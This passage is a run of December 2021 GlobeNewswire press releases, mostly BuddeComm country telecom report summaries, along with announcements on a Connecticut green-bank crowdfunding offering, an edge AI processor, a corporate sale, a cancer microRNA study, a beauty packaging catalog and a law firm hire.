the telecoms markets. - https://www.budde.com.au/Research/Kazakhstan-Telecoms-Mobile-and-Broadband-Statistics-and-Analyses/?utm_source=GNW Since then, subscription numbers have crept back down to a more moderate level of 133% in 2020. The decline is partially in response to lesser competition resulting from a period of consolidation amongst the MNOs, which in turn reduced the value of retaining multiple SIM cards in order to take advantage of on-net pricing. Both mobile voice and mobile broadband subscription rates suffered from reduced demand in 2020 due to the Covid-19 crisis. Mobile was down 5.5% while mobile broadband contracted 6.3%. Nevertheless, the decline in subscriber numbers was more than offset by substantial increases in usage and thus revenue. With 4G LTE networks being widely deployed across the country, the population soaked up the opportunity to increase their data usage for broadband and internet access. Meanwhile, Kazakhstan continues to prepare for the next evolution of mobile, with new 5G trials taking place in different parts of the country in the second half of 2021. A launch of commercial services still seems some way off, however, with the MNOs and the regulator both making public statements to the effect that there is no pressing need to move in that direction much before 2023. Key developments: Altel begins 5G trials in Almaty and Turkestan using test spectrum in the 3500MHz band, however the government dampens expectations around seeing commercial services before 2023. The regulator unveils new minimum data speeds for 3G (1Mb/s) and 4G (5Mb/s) services. Jysan Bank launches Kazakhstans second MVNO, Jysan Mobile, running on the Altel network. Beeline launches a GPON FttP service in Nur-Sultan with speeds up to 500Mb/s. Unit Telecom acquires a 75% stake in Transtelecom, completing the latters privatisation program. companies mentioned in this report: Kazakhtelecom, Ducat, Astel, KazInformTelecom, Transtelecom, Altel, Beeline Kazakhstan, Izi, Jysan Mobile. Read the full report: https://www.budde.com.au/Research/Kazakhstan-Telecoms-Mobile-and-Broadband-Statistics-and-Analyses/?utm_source=GNW Sydney, Dec. 15, 2021 (GLOBE NEWSWIRE) -- Just released, this edition of BuddeComm report outlines the latest developments and key trends in the telecoms markets. - https://www.budde.com.au/Research/Uruguay-Telecoms-Mobile-and-Broadband-Statistics-and-Analyses/?utm_source=GNW There is effective competition in the market, and although Antel retains a commanding lead in terms of the share of subscribers this has fallen steadily since 2016. The chief beneficiary of this decline has been Claro, while Movistar has held steady. Claro in early 2019 appealed to the government to introduce mobile number portability, noting that Uruguay was one of the few markets in the region without the facility. Since then, the regulator and government have endeavoured to implement MNP as a way to encourage competition and improve quality of service for subscribers. Law 19,889/2020, enacted in July 2020, stipulated that access to MNP was a right for mobile telephony customers. The facility is usually undertaken by a third-party company, and the government recently selected a consortium comprised of Cleartech and Cietel to administer the database through to 2026. More recently, the MNOs signed contracts with Cleartech and Cietel in preparation for making use of MNP. The benefits to subscribers should begin to be felt soon into 2022, as the operators compete to retain their subscribers. Key developments: Preparations underway for a 5G spectrum auction; MNOs contract with the new MNP administrator; Google signs contract to build the Firmina subsea cable connecting the US with Argentina, Brazil, and Uruguay; America Movil spins off towers and other related passive infrastructure in its Latin American markets; Antel plans to invest $152 million in fixed and mobile operations; Legislative changes may permit pay TV operators to offer broadband using private networks; Uruguay enacts Law 19,889/2020 stipulating that MNP is a right for mobile telephony customers, plans to appoint an administrator; Over 11,844km of fibre cable installed throughout the country, with FttP accounting for over 77% of all fixed-line broadband connections; Tannat cable extended to Argentina; Report includes the regulators market data to December 2020, telcos operating and financial data to Q4 2020, updated Telecom Maturity Index charts and analyses, assessment of the global impact of Covid-19 on the telecoms sector; recent market developments. Companies mentioned in this report: America Movil, Antel, Claro Uruguay, Dedicado, Eutelsat, Google, Loral Spacecom Corporation, Hispasat, Millicom International Cellular (MIC), Movistar Uruguay, New Skies Satellites, Panamsat Corporation, SES Americom, Telesat Canada, Telxius. Read the full report: https://www.budde.com.au/Research/Uruguay-Telecoms-Mobile-and-Broadband-Statistics-and-Analyses/?utm_source=GNW Sydney, Dec. 15, 2021 (GLOBE NEWSWIRE) -- Just released, this edition of BuddeComm report outlines the latest developments and key trends in the telecoms markets. - https://www.budde.com.au/Research/Guatemala-Telecoms-Mobile-and-Broadband-Statistics-and-Analyses/?utm_source=GNW This fall was attributed to the initial reactions to the economic consequences of the pandemic, with household spend being under considerable pressure. However, growth soon recovered, with the number of subscribers having increased 6.1% in the year to June 2021, reaching 21.6 million. This growth was in turn the result of people responding to new pressures. Parents have secured SIM cards to enable children to home school, while more mobile internet connections have been needed to enable households to telework and engage in e-commerce. Key developments: Viasat set do deliver satellite broadband services across Guatemala; Regulator approves the reorder of some spectrum in the 700MHz bandwidth; Guatemala to auction 60MHz in the 700MHz band; America Movil spins off its tower operation; Conecta Guate free internet program advancing despite delays due to pandemic; South Pacific Cable is made ready for service; Guatemala to connect to the Aurora cable system in 2022; Report update includes the regulators market data to June 2021, operators data to Q3 2021, Telecom Maturity Index charts and analyses, recent market developments. Sydney, Dec. 15, 2021 (GLOBE NEWSWIRE) -- Just released, this edition of BuddeComm report outlines the latest developments and key trends in the telecoms markets. - https://www.budde.com.au/Research/Botswana-Telecoms-Mobile-and-Broadband-Statistics-and-Analyses/?utm_source=GNW This is characteristic of many markets in the region, itself a legacy of years of underinvestment. However, the government and the wholesale network provider BoFiNet have made considerable progress in recent years to expand the reach of the national fibre network. This is being used to develop e-health and e-government services, and also to foster e-commerce. The government in October 2021 launched a revised e-commerce strategy in partnership with the United Nations Conference on Trade and Development (UNCTAD). This strategy aims to address various barriers which could potentially restrict growth of e-commerce, and is premised on the wider availability of quality broadband. It is also supported by the wider efforts being made as part of Botswanas Vision 2036 program, which aims to propel economic development through ICT. Key developments: BTC improves satellite connectivity to improve rural broadband access and support e-learning and e-government services; Regulator tenders for a multi-spectrum mobile broadband licence; Government revises e-commerce strategy as part of the Vision 2036 program; Orange Botswana expands its Digital Schools Project, extends the reach of LTE-A services; Alphabet cancels Project Loon trials; Korea Telecom advises BTC on LTE network optimisation; Orange Money initiates cross-border m-payment platform; BTC reports 16% increase in net profit in fiscal 2021; Report update includes Statistics Botswanas data to Q2 2021, telcos data to Q3 2021, regulators annual report updates and market data to Q1 2021, updated Telecom Maturity Index charts and analyses, assessment of the global impact of Covid-19 on the telecoms sector, recent market developments. Hartford, Connecticut, Dec. 15, 2021 (GLOBE NEWSWIRE) -- CGB Green Liberty Notes LLC, a subsidiary of the Connecticut Green Bank, proudly announces their new Green Liberty offering, a crowdfunding campaign launched in partnership with Raise Green, a regulation climate tech marketplace for local impact investing. This new program allows citizens to invest in the Green Banks mission to confront climate change. The Green Liberty offering will support Eversources Small Business Energy Advantage (SBEA) program, administered through the Conservation and Load Management Plan. As a result of the climate benefits associated with this program, the offering has been reviewed and verified for its environmental attributes by Kestrel Verifiers. Climate change is an existential threat, and massive amounts of capital investment are needed to help combat its effects, said Bryan Garcia, President and CEO of the Green Bank. To grow our impact, we need investment support from everyday people from families in Connecticut to citizens across the country. The SBEA program enables small businesses to reduce their energy costs by making energy efficiency upgrades in their office, shops, restaurants, and factories, using zero interest loans. Participants in the SBEA program can borrow up to $100,000 to address these measures at zero interest and repay their financing on their electric bills. In 2019, the Green Bank closed on a financing structure that brought cheaper capital from the market to the program, thereby reducing the ratepayers subsidy, by lowering the cost of the capital in the program through a public-private partnership between the Green Bank and Amalgamated Bank. Millions of people are alarmed about the climate crisis and are looking for something they can do to make a difference. Taking direct action on the climate crisis can be as simple as investing a few hundred dollars into climate solutions, said Franz Hochstrasser CEO and Co-Founder of Raise Green. With Raise Green, we make it easy to invest in climate solutions so everyone can take direct action on the climate crisis and help make real climate projects happen. For more information about the crowdfunding opportunity, please visit invest.ctgreenbank.com. About the Connecticut Green Bank The Connecticut Green Bank was established by the Connecticut General Assembly in 2011 as the nations first green bank and has since supported the creation of more than 23,000 green energy jobs in the state, while reducing the energy cost burden on over 55,000 families, businesses, and nonprofits. The Green Banks vision is a planet protected by the love of humanity and its mission is to confront climate change and provide all of society a healthier, more prosperous future by increasing and accelerating the flow of private capital into markets that energize the green economy. This is accomplished by leveraging limited public resources to scale-up and mobilize private capital investment into Connecticut. In 2017, the Connecticut Green Bank received the Innovations in American Government Award from the Harvard Kennedy School Ash Center for Democratic Governance and innovation for their Sparking the Green Bank Movement entry. To date, the Green Bank has mobilized nearly $2.3 billion into the States green economy. This has reduced the energy costs for thousands of families and businesses, and reduced greenhouse gas emissions that cause climate change and worsen public health. For more information about the Connecticut Green Bank, please visit www.ctgreenbank.com About Raise Green Raise Green is the first marketplace in the U.S. for local and inclusive impact investment into climate solutions. On Raise Green's investor marketplace, anyone (individuals and institutions) can invest in community-focused climate infrastructure and resilience projects across a varied range of project scales and minimum investments. Raise Green gives solar developers the tools to cut soft costs and easily access financing for up to $5M per year. Investors can create quantifiable impacts in local communities, as well as receive financial returns if the project is successful. IRVINE, Calif., Dec. 15, 2021 (GLOBE NEWSWIRE) -- AONDevices, Inc., a provider of ultra-low power, high-performance processors for a new era of edge AI, today announced that engineering samples of its new AON1100 processor are now available. The AON1100 Edge AI processor enables unprecedented sensing capabilities in battery-powered always-on devices that need to support local wake words, voice commands, sound event detection, context detection, and sensor fusion at high accuracy all while maintaining industry-leading low power consumption that extends battery life, which results in a better end-user experience. Real World Recognition The AON1100 is the industrys first and only ultra-low power, multi-modal solution that enables simultaneous, extremely accurate recognition of multiple voice commands and sound events such as a baby crying or a car backfiring using a single microphone. The AON1100 also simultaneously detects specific motion patterns, such as walking or falling. When used in phones, headsets, wearables, game controllers, vehicles, or smart home appliances, the AON1100 enables natural human-machine interface at the device level without sending any data to the cloud, improving the user experience and guaranteeing privacy. AON1100 features two cores, AONVoice and AONSens, which are based on AONDevices proprietary neural network technology. AONVoice delivers 90% accuracy in 0 dB SNR conditions. Including front-end processing and all required memory, AONVoice core consumes less than 150W proven in 40nm ULP silicon. This power is measured in 100% constant speech conditions. Machine Learnings New Era The AON1100 is a testament to AONDevices unparalleled ability to innovate across algorithms, systems and silicon, said Mouna Elkhatib, CEO of AONDevices. We are engaged with several tier 1 customers in key markets. With engineering samples and development kits now available, we can support OEM customers looking for complete solutions that dont sacrifice privacy or trade accuracy for power. In addition, we continue to enable key silicon partners and OEMs with IP core licenses. We are enabling a wide range of new voice, audio and sensor use cases and we cant wait to see what new capabilities our customers will bring to market next. AONDevices is a partner of the tinyML Foundation a global industry group focused on nurturing the fast-growing branch of ultra-low power ML technologies and approaches at the edge and embraces the vision set forth by the organization. Commenting on the industry, Evgeni Gousev, senior director at Qualcomm and chairman, board of directors of the tinyML Foundation, noted that, At the tinyML Foundation, we envision this new world as having trillions of distributed intelligent devices enabled by energy-efficient machine learning technologies that sense, analyze and autonomously act together to create a healthier, more sustainable environment for all. Pricing, Availability and Demos Engineering samples of the AON1100 chip are available now. AONVoice and AONSens cores are also available for licensing as IP cores for integration in an SoC to high-volume customers. Contact info@aondevices.com for pricing and additional information. AONDevices will demonstrate its AON1100 Edge AI processor at CES 2022 from January 5-8 in Las Vegas at booth #61709 in Eureka Park. Please connect with AONDevices at info@aondevices.com to schedule an appointment. About AONDevices AONDevices is a fabless semiconductor company specializing in application-specific edge AI processors with high accuracy at ultra-low power. The company is headquartered in Irvine, California. AONDevices has been named one of the top 10 female founded startups by both Amazon Alexa Fund and Qualcomm Ventures. For more information, visit www.aondevices.com AONDEVICES is a registered trademark, and AONVoice, AONSens and AON1100 are trademarks of AONDevices in the United States and/or other countries. All other trademarks are property of their respective owners. Media Contact: Stephanie Olsen Lages & Associates (949) 453-8080 stephanie@lages.com A photo accompanying this announcement is available at https://www.globenewswire.com/NewsRoom/AttachmentNg/da0cd8b7-b418-49e6-9009-f4a2c2b3de49 The photo is also available at Newscom, www.newscom.com, and via AP PhotoExpress. SOUTHFIELD, Mich., Dec. 15, 2021 (GLOBE NEWSWIRE) -- P&M Corporate Finance ("PMCF") is pleased to announce that it served as exclusive financial advisor to Credential Check Corporation ("CredentialCheck" or the "Company") in its sale to Iron Creek Partners in August 2021. Based in Troy, Michigan, CredentialCheck provides employment background screening and drug testing services to employees across a broad range of industries. John Bingaman, Managing Principal of Iron Creek, said, "CredentialCheck and its management team have done a fantastic job building a differentiated business in a competitive industry, delivering reliable and accurate information in exceptionally short timeframes. We look forward to supporting CredentialCheck as they develop new products and services to help customers make their hiring decisions with the most accurate information possible." "The CredentialCheck team is delighted to have Iron Creek as a partner moving forward," said Nicole Kiefer, President of Credential Check Corporation. "The Iron Creek team has a strong history of successfully guiding and supporting its portfolio companies through periods of expansion, and we're excited to collaborate with their team as we look towards the next phase of growth for CredentialCheck." CredentialCheck selected PMCF to serve as its exclusive advisor and investment banker in the transaction. Steven Smith, CredentialCheck Chairman and sole shareholder, commented, "When the time came to select an investment bank that could advise us through the transaction process, I knew PMCF was the best fit for our team. They were thorough, responsive, and capable in their work. Overall, I was highly pleased with the result of the transaction and would be happy to refer them to a friend. Without a doubt, we chose the best banker for our transaction." The transaction closed in August 2021. Jack Carver and Tim Damschroder at Bodman PLC served as legal advisors to Credential Check. Locke Lord served as legal advisor to Iron Creek. About Credential Check Corporation Credential Check Corporation is a leading provider of employment background screening and drug testing services to employers across the country. Founded in 1984, CredentialCheck has thousands of customers across the finance, manufacturing, food and retail, healthcare, and staffing industries. About Iron Creek Partners Iron Creek Partners is a sectorfocused, stageindependent private investment firm based in Santa Fe, NM, seeking attractive investment opportunities primarily in the software, data, communications, and business services industries. Iron Creek seeks to partner with strong management teams and to support its portfolio companies' growth by leveraging its network of relationships and its sector experience. About PMCF PMCF is a client-centric middle market investment bank providing merger and acquisition advisory services to private, public, and private equity owned companies worldwide. We combine our expansive industry and transactional expertise with highly engaged, senior-level bankers to create tailored solutions for all our clients. PMCF helps clients meet their sale, acquisition, financing, and strategic growth objectives through a broad range of services, including sale advisory, acquisition advisory, capital raising, transaction planning, and strategic advisory. We have dedicated professionals focused on plastics & packaging, business & technology services, industrials, healthcare, and consumer & retail industries. Please visit pmcf.com to learn more. Media contact Matt Jamison, Managing Director P&M Corporate Finance (PMCF) matt.jamison@pmcf.com Related Images Image 1: PMCF Advises Credential Check Corporation in a Sale Transaction with Iron Creek Partners This content was issued through the press release distribution service at Newswire.com. Attachment Sydney, Dec. 15, 2021 (GLOBE NEWSWIRE) -- Just released, this edition of BuddeComm report outlines the latest developments and key trends in the telecoms markets. - https://www.budde.com.au/Research/Pakistan-Telecoms-Mobile-and-Broadband-Statistics-and-Analyses/?utm_source=GNW For example, it continues to hold a 62% share of the incumbent fixed-network operator Pakistan Telecommunication Company (PTC), and thus a share of one of the four major mobile network operators, Ufone (a subsidiary of PTC). This goes part of the way towards explaining why the country has lagged behind most other countries in the region in terms of investing in fixed-line infrastructure: There hasnt been the competitive pressures to drive development or expansion beyond a limited number of urban areas. On the flipside, however, is a concerted effort to direct telecoms investment towards the most needy and under-served parts of the country through the Universal Service Fund (USF). Set up by the Ministry of Information Technology (MoIT), the USF represents a public-private partnership in terms of its governance. The beauty of the USF lies in the fact that it ensures the telecom sector prioritises universal coverage rather than adopting a free-market model, which typically leads to a situation where multiple vendors fight over small but more densely populated areas, often replicating infrastructure. The USFs budget for the 2020-21 financial year includes funding for a range of mobile broadband projects that will extend coverage to more than 10 million people in Pakistan. The USF has also provided approval for over 4,000km of fibre cabling to be laid to connect more than 500 unserved councils in 18 different districts. Key developments: The Universal Service Fund (USF) Board approves a range of projects in the 2020/2021 budget to expand LTE into under-served areas. The Pakistan Telecommunication Authority (PTA) unveils a roadmap for launching 5G in 2023. Zong and Ufone each win unused spectrum in the 1800MHz band to expand 4G LTE services in the Azad Jammu & Kashmir and Gilgit Baltistan regions. VEON acquires the remaining 15% stake in Jazz from the Abu Dhabi Group for $273 million. Sydney, Dec. 15, 2021 (GLOBE NEWSWIRE) -- Just released, this edition of BuddeComm report outlines the latest developments and key trends in the telecoms markets. - https://www.budde.com.au/Research/Colombia-Telecoms-Mobile-and-Broadband-Statistics-and-Analyses/?utm_source=GNW Within each city there is also concentration amongst operators. Some cities have historical incumbent telcos which have retained their dominance: EPM controls about 90% of broadband lines in Medellin, for example. Penetration in the Amazonian departments of Guainia, Guaviare, Vaupes, and Vichada, by contrast, is no higher than 2%. Investment in fibre has helped push up average data rates in recent years: the average fixed broadband download speed increased 82.4% in 2020, year-on-year, to 34.4Mb/s across all technologies. As of June 2021, the average fixed broadband download speed was 55.1Mb/s, showing a 98.2% increase year-on-year. While broadband speeds are increasing, there remains concern about availability in rural areas. The government has endeavoured to address this with a number of public programs. An amendment to legislation made in August 2021 determined that the internet was an essential and universal public service, akin to access to water and electricity. This has stimulated local authorities to expedite the delivery of fixed and mobile broadband services. More recently, the government reiterated its commitment to the National Development Plan by which it would deliver broadband to 70% of households by the end of 2022. Key Developments: Movistar and Claro awarded spectrum in the 3.5GHz band for 5G trials; Colombia determines internet access to be an essential service; MinTIC proses raising spectrum caps to promote 5G, with delayed 5G auction expected to be held by August 2022. Avantel acquired by Novator Partners, including 2.3 million subscribers. MVNO Virgin Mobile fined COP131.67 million for non-compliance with SIC administrative orders regarding protecting users rights. Fixed-line broadband download speeds increase a 98.2% in the year to June 2021, thanks to investments in fibre. Setroc becomes another MVNO, using Movistars infrastructure. ANE and MinTIC issue Spectrum Policy 2020-2024, aimed at aligning spectrum management across the two agencies. This report includes the regulators market data reports to June 2021, telcos financial and operating data updates up to Q3 2021, Telecom Maturity Index charts and analyses, assessment of the global impact of Covid-19 on the telecoms sector, and other recent market developments. Companies mentioned in this report: Claro (Telmex Colombia/Comcel), Movistar, TigoUne (Tigo Colombia, UNE-EPM), Avantel, DirecTV, Uff! Movil, Metrotel, Emcali, Virgin Mobile, Movil Exito, Edatel, Empresa de Telecomunicaciones de Santa Fe de Bogota (ETB), Setroc. Read the full report: https://www.budde.com.au/Research/Colombia-Telecoms-Mobile-and-Broadband-Statistics-and-Analyses/?utm_source=GNW Sydney, Dec. 15, 2021 (GLOBE NEWSWIRE) -- Just released, this edition of BuddeComm report outlines the latest developments and key trends in the telecoms markets. - https://www.budde.com.au/Research/Burkina-Faso-Telecoms-Mobile-and-Broadband-Statistics-and-Analyses/?utm_source=GNW In most markets, Mobile Number Portability has been a facility keenly adopted by regulators in a bid to encourage operators to improve the quality of services offered. It also encourages price competition, and so can contribute to lower end-user costs. Legislation dating to November 2008 provided for the implementation of MNP. A decree of February 2011 set in train procedures to set it up, though the process has since been slow. The regulator conducted a study in June 2014, which established that the mobile market would benefit from MNP. The regulator more recently launched a study to determine the technical and legal details involved in implementing MNP. Proceedings were overseen by representatives from the regulator and the telcos. These were subsequently mired in disputes, with the telcos offering amendments which the regulator mostly dismissed. The regulator then concluded that although the market was characterised by subscribers taking out a number of SIM cards, and from different operators (precisely the conditions which MNP was designed to address), the facility would be of only marginal benefit to them. Implementing it has been postponed indefinitely. However, many neighbouring countries have implement MNP in recent years, with considerable benefit to subscribers Key developments: Revised Finance Law increases telecom tax to 7% of telco revenue; Second stage of the national fibre backbone networks gets underway; Regulator opts to postpone implementation of MNP indefinitely; Burkina Faso begins developing its first satellite; Main One increases broadband bandwidth with new PRICAO fibre cable; Burkina Faso joins G5 Sahel countries to eliminate roaming fees; Government progresses with XOF23.6 billion project to provide metropolitan fibre infrastructure; Report update includes the regulators annual reports and market statistical data to March 2021, telcos financial and operating data to Q3 2021, updated Telecom Maturity Index charts and analyses, assessment of the global impact of Covid-19 on the telecoms sector, recent market developments. Companies mentioned in this report: Onatel, Telmob, Bharti Airtel (Zain, Celtel), Orange Burkina Faso, Moov (Telecel, Etisalat), FasoNet, ZCP, Delgi, Cenatrin, CFAO Technologies, River Telecom, Net Access, Maroc Telecom, Vivendi. Read the full report: https://www.budde.com.au/Research/Burkina-Faso-Telecoms-Mobile-and-Broadband-Statistics-and-Analyses/?utm_source=GNW Sydney, Dec. 15, 2021 (GLOBE NEWSWIRE) -- Just released, this edition of BuddeComm report outlines the latest developments and key trends in the telecoms markets. - https://www.budde.com.au/Research/Vietnam-Telecoms-Mobile-and-Broadband-Statistics-and-Analyses/?utm_source=GNW One example is the intention to shutter all 2G and 3G networks in 2022, and reallocate the spectrum for 4G LTE and 5G use. A second proclamation involves banning the importation and sale of handsets that are not 5G-compatible. Whether these moves occur within the intended timeframe remains to be seen; 43% of the countrys mobile subscribers are still on GSM, so the transition to universal high-speed mobile services will face some serious logistical hurdles. Meanwhile, the countrys MNOs have been carrying on with testing their 5G capabilities in preparation for the expected release of spectrum and licences in 2022. Market-leader Viettel claims to be one of a handful of companies around the world along with Ericsson, Huawei, Nokia, Samsung, and ZTE to have produced network equipment for 5G. Viettel had intended to use the technology developed in-house for its base stations rather than Huaweis products, however it may not have the intellectual property rights to operate as a major supplier in the same league as the other more established and well-recognised manufacturers. Yet Viettel succeeded in something of a strategic coup in September 2021 when it produced record data transmission speeds of more than 4.7Gb/s over its trial 5G network. The tests were performed in partnership with Ericsson and Qualcomm, and used E-Ultra New Radio Dual Connectivity (EN-DC) technology to achieve the results. Key developments: Government plans to shutter GSM and 3G networks, and redistribute spectrum to 4G LTE and 5G services. Viettel achieves a record data transmission speed of 4.7Gb/s in 5G trials. Viettel, VNPT, and Mobifone agree to trial 5G network sharing and data roaming. Viettel develops a national immunisation management platform, while the Vietnam National Administration of Tourism (VNAT) launches a digital vaccine certification system for international visitors and workers. Reddi becomes Vietnams second MVNO, using VNPTs network. WASHINGTON, Dec. 15, 2021 (GLOBE NEWSWIRE) -- A recently published article in Experimental Biology and Medicine (Volume 246, Issue 24, December, 2021) investigates a new approach for treating nasopharyngeal carcinoma. The study, led by Dr. Yan-Ping Mao, from the Sun Yat-sen University Cancer Center in Guangzhou (China), reports that BART10-3p, an Epstein-Barr virus-encoded microRNA, is an unfavorable prognostic indicator for nasopharyngeal cancer and promotes proliferation of nasopharyngeal cancer cells. Nasopharyngeal cancer (NPC) is a form of head and neck cancer that is associated with Epstein Barr virus infections. In areas of high incidence such as southern China, the undifferentiated non-keratinizing subtype is the most prevalent. Because subtype 2 is poorly differentiated, it has a higher rate of distant metastasis than well-differentiated subtypes. Cancers like NPC that are associated with Epstein Barr virus express a restricted set of viral gene products that are unique to each cancer. In the case of NPC, these viral gene products are predominantly microRNAs that allow the virus to exert its oncogenic effects without activating the host immune system. BART10-3p is an Epstein Barr virus microRNA that is highly overexpressed in NPC and promotes metastasis. However, its role in differentiation has not been investigated. In this study, Dr. Mao and colleagues used bioinformatics and functional studies to examine BART10-3p in nasopharyngeal cancer (NPC) differentiation. Analysis of microarray data from more than 300 patient samples identified BART10-3p expression as an unfavorable independent indicator. In vitro studies demonstrated that BART10-3p promotes dedifferentiation and proliferation of NPC cells by inhibiting ALK7. Finally, in vivo studies confirmed that BART10-3p promotes tumor growth. Co-author Dr. Xiao-Jing Yang said, "BART10-3p can be used to identify patients at higher risk of progression." Dr. Mao added that "In China, NPC is mostly undifferentiated and highly aggressive, and its management remains challenging. Insights into the mechanisms contributing to loss of differentiation offer an opportunity to reverse the malignant phenotypes of NPC and pave the way to better combat this disease." Dr. Steven R. Goodman, Editor-in-Chief of Experimental Biology and Medicine, said, "Mao and colleagues have demonstrated that the Epstein Barr virus miRNA BART10-3p promotes dedifferentiation and proliferation in nasopharyngeal carcinoma (NPC) in vitro and oncogenesis in vivo by targeting ALK7. Further, they demonstrate that BART 10-3p is a candidate prognostic biomarker and therapeutic target for NPC." Experimental Biology and Medicine is a global journal dedicated to the publication of multidisciplinary and interdisciplinary research in the biomedical sciences. The journal was first established in 1903. Experimental Biology and Medicine is the journal of the Society of Experimental Biology and Medicine. To learn about the benefits of society membership, visit www.sebm.org. If you are interested in publishing in the journal, please visit http://ebm.sagepub.com/. For more information, please contact ebm@sebm.org . Related Images Image 1 This content was issued through the press release distribution service at Newswire.com. Attachment Sydney, Dec. 15, 2021 (GLOBE NEWSWIRE) -- Just released, this edition of BuddeComm report outlines the latest developments and key trends in the telecoms markets. - https://www.budde.com.au/Research/Costa-Rica-Telecoms-Mobile-and-Broadband-Statistics-and-Analyses/?utm_source=GNW ICEs mobile business unit Kolbi holds 5G-suitable frequencies in several bands identified for 5G. The government is rpressing to have these blocks made available for 5G, with an auction expected in 2022. Grupo ICE faces not being paid compensation for the blocks which it will be asked to return, partly on the basis that the company had either failed to use them or had underused them. Overall, the Costa Rican telecom sector in 2020 was underwhelming, with minimal growth in some areas while other market sectors experienced contractions. Two bright spots were the fixed broadband market, which continues to expand in size and performance: the length of the fibre network increased 56% in 2020, reaching 176,000km. Broadband data speeds are also increasing dramatically, with most services now offering speeds greater than 10Mb/s. In the mobile broadband sector, the subscriber penetration rate approached 100% at the en dof 2021. Key developments: Liberty Latin America acquires Telefonica Costa Rica (Movistar) for $505 million. Length of the national fibre network reaches about 176,200km. Regulator prepares for multi-spectrum auction for 5G in 2022; Mobile broadband penetration approaches 100%. This report includes the regulators market data for 2020, telcos financial and operating data updates to Q3 2021, updated Telecom Maturity Index charts and analyses, assessment of the global impact of Covid-19 on the telecoms sector, and other recent market developments. Companies mentioned in this report: Instituto Costarricense de Electricidad (ICE), Cabletica, Claro, Liberty Latin America, Movistar, RASCA, Telecable, Tigo Read the full report: https://www.budde.com.au/Research/Costa-Rica-Telecoms-Mobile-and-Broadband-Statistics-and-Analyses/?utm_source=GNW Los Angeles, Dec. 15, 2021 (GLOBE NEWSWIRE) -- WWP Beauty, a world-class full-service supplier to the global beauty industry, is announcing the launch of its new online stock catalog. This easy-to-navigate, e-catalog features a fresh and relevant design with color-coded categories in alignment with the companys brand image. Customers can easily navigate through the beauty industrys major segments; Skincare, Color Cosmetics, Hair & Body Care. Fast Track Packaging and Sustainable Solutions were also added to the search menu so that customers could quickly identify their packaging needs. Each segment features a comprehensive selection of innovative solutions categorized by packaging type including; Airless Systems, Compacts, Droppers, Eyeliner, Jars & Pots, Lip Gloss, Lipstick, Mascara & Brow, Pens & Rollerballs, Pumps & Bottles, Sticks & Crayons, and Tubes. We designed this new e-catalog with our customers top of mind, creating a user-friendly navigation experience and a clean and fresh look and feel that would allow customers to find what they are looking for, both quickly and easily. WWP Beauty will be expanding the e-catalog in early 2022 with Accessories, Turnkey Collections, and Formulations to showcase our full-service capabilities and further solidify our mission of being, the source for everything beauty, said Musa Dias, WWP Beauty, CMO WWP Beauty strives to create a more clean, inclusive, and sustainable future. The company will continue to add sustainable stock packaging solutions that feature eco-friendly materials and innovative design to continue adding value to the companys customer base. View the new catalog on the WWP Beauty website by visiting: https://catalog.wwpbeauty.com/ # # # About WWP Beauty WWP Beauty is committed to developing future-focused, sustainable solutions for the global beauty industry through close collaboration, exceptional agility, and unparalleled scale. The companys full-service offering of formula, packaging, and accessories, paired with their in-house manufacturing capabilities allow them to stand out as the source for everything beauty. Through a worldwide team of beauty experts that span across North America, EMEA, and APAC, WWP Beauty offers their customers global support at the local level. To learn more, visit our website at www.wwpbeauty.com. Attachment Sydney, Dec. 15, 2021 (GLOBE NEWSWIRE) -- Just released, this edition of BuddeComm report outlines the latest developments and key trends in the telecoms markets. - https://www.budde.com.au/Research/Maldives-Telecoms-Mobile-and-Broadband-Statistics-and-Analyses/?utm_source=GNW Ooredoo 5G delivers download speeds of up to 1Gb/s.The launch followed the announcement in March 2020 by the telcos parent company, Qatar-based Ooredoo Group, of a partnership with Huawei to upgrade its mobile networks to 5G in five of the countries where it currently operates Kuwait, Oman, Indonesia, Tunisia, and the Maldives. Ooredoo is deploying Huaweis 5G SingleRAN radio system with Massive MIMO technology, along with its 5G Cloud Core solution.The Maldives other major telco and mobile operator, Dhiraagu, trialled 5G technology as far back as 2018. However, there is yet to be any indication of the company being ready to launch a commercial service, as there remains considerable capacity on its existing LTE infrastructure. Key developments: The Maldives telecom sector starts to show signs of recovery after being pummelled by the Covid-19 crisis. Ooredoo Maldives launches the Maldives first commercial 5G mobile service in Greater Male. The Maldives-Sri Lanka (MSC) cable system is lit, less than a year after construction began. Inmarsat and Cobham SATCOM are awarded a contract to connect fishing vessels operating in the Maldives Economic Exclusion Zone to Inmarsats Fleet One maritime broadcast services. Companies mentioned in this report: Dhivehi Raajjeyge Gulhun (Dhiraagu), Ooredoo Maldives, DhiMobile. Read the full report: https://www.budde.com.au/Research/Maldives-Telecoms-Mobile-and-Broadband-Statistics-and-Analyses/?utm_source=GNW English Lithuanian Siauliu Bankas AB, company code 112025254, address of the head office Tilzes str. 149, Siauliai, Lithuania. Siauliu bankas AB has received the notifications of the person, closely associated with the manager, on transactions in securities issued by the bank (attached). Director of Securities Operations Department Jolanta Dobiliauskiene is authorized by the Issuer to provide additional information and is available on tel.: +370 41 595669. Attachments Atlanta, Dec. 15, 2021 (GLOBE NEWSWIRE) -- Shaney B. Lokken, a public finance attorney with two decades of experience representing issuers, borrowers, underwriters and purchasers in a wide range of transactions, has joined Hunton Andrews Kurth LLP as a counsel in Atlanta. Lokkens public finance experience includes financings for state and local governments and nonprofit issuers. She represents governmental issuers, investment banks and conduit borrowers as bond counsel, disclosure counsel and underwriters counsel in a variety of tax-exempt financings for healthcare, higher education, assisted living facility and economic development projects. She also represents nonprofit borrowers and financial institutions in direct purchase, credit enhancement and direct borrowing transactions. In addition to her extensive experience in private practice, Lokkens career history includes several years as an in-house attorney in the banking industry. From 2015 to 2017, she worked for SunTrust Bank (now Truist Financial), where she was named senior vice president and security-based swap dealer chief compliance officer. From 2006 to 2014, Lokken served as assistant vice president and assistant general counsel for the Federal Home Loan Bank of Atlanta, providing guidance to its management and board of directors on a variety of financial institution regulations and disclosure requirements. Lokkens addition marks the firms latest move in support of its strategic objective to further grow Hunton Andrews Kurths footprint in Atlanta. In October, Douglass P. Selby was named managing partner of the Atlanta office. Selbys appointment was followed in November with the promotion to counsel of Laura T. Wagner, a litigation attorney who focuses on complex commercial, antitrust, class action and business disputes. Shaney brings to the firm considerable skill and a unique mix of public finance experience, having represented clients in private practice with a diverse set of objectives and serving as an in-house attorney advising financial institutions on an array of regulatory compliance matters, said Selby, who co-heads the firms public finance group with Thomas A. Sage. She is an exceptional addition to our practice and the Atlanta office and were confident she will thrive at Hunton Andrews Kurth. Lokken joins the firm from Murray Barnes & Finister LLP and previously was counsel in Parker Poe Adams & Bernstein 